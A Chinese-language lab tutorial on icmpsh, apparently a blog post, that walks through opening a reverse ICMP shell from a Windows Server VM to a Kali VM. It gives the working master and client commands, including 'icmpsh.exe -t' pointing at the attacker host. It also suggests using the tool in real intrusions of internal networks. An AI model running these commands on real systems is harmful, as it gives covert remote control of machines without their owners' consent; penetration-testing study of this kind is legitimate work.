前言
icmpsh是一個簡單的反向ICMP shell,與其他類似反彈shell的工具相比,他的主要優勢在於它不需要管理權限即可運行到目標計算機上,畢竟ICMP協議誰都可以用。
環境准備
准備兩台虛擬機
kali.2020 192.168.244.128 Windows server-2008 192.168.130
接下來利用這兩台主機進行試驗,目的是將window的shell反彈到kali中
icmpsh下載
Github地址:https://github.com/inquisb/icmpsh
開整
第一步,先關閉kali自身的icmp
sysctl -w net.ipv4.icmp_echo_ignore_all=1
至於為什么要進行這一步,下載工具時里面的readme文檔已經寫明了不關閉會有什么后果,文檔是英文的,翻譯過來大致意思你(kali)會收到被控制主機(windows)的信息,但你(kali)發出的指令被控制主機(windows)不一定收的到,所以保險起見,先把kali上的icmp關掉
第二部,在kali上運行icmpsh_m.py
部分人運行python腳本時可能會報這個錯誤
You need to install Python Impacket library first
報錯說的也很明白,少impacket庫,用pip裝就完事兒了,怎么裝就不在贅述了
在kali上運行下面的命令
命令格式:python icmpsh_m.py <源ip> <目的ip>
python icmpsh_m.py 192.168.244.128 192.168.244.130
然后在windows上運行icmpsh.exe
icmpsh.exe -t 192.168.244.128
查看kali,回彈shell成功
用wireshark進行抓包,確實是在用ICMP進行通信
總結
ICMP協議作為在內網穿透中的利器,在做內網滲透時運用的還是比較多的,在做這個實驗時我本來是想將虛擬機中的shell彈到一台公網服務器上,但是沒有成功,原因是兩台主機必須都有公網ip,所以在實戰時要用到icmpsh的話,先使用其他方法獲取到被控主機的公網IP吧。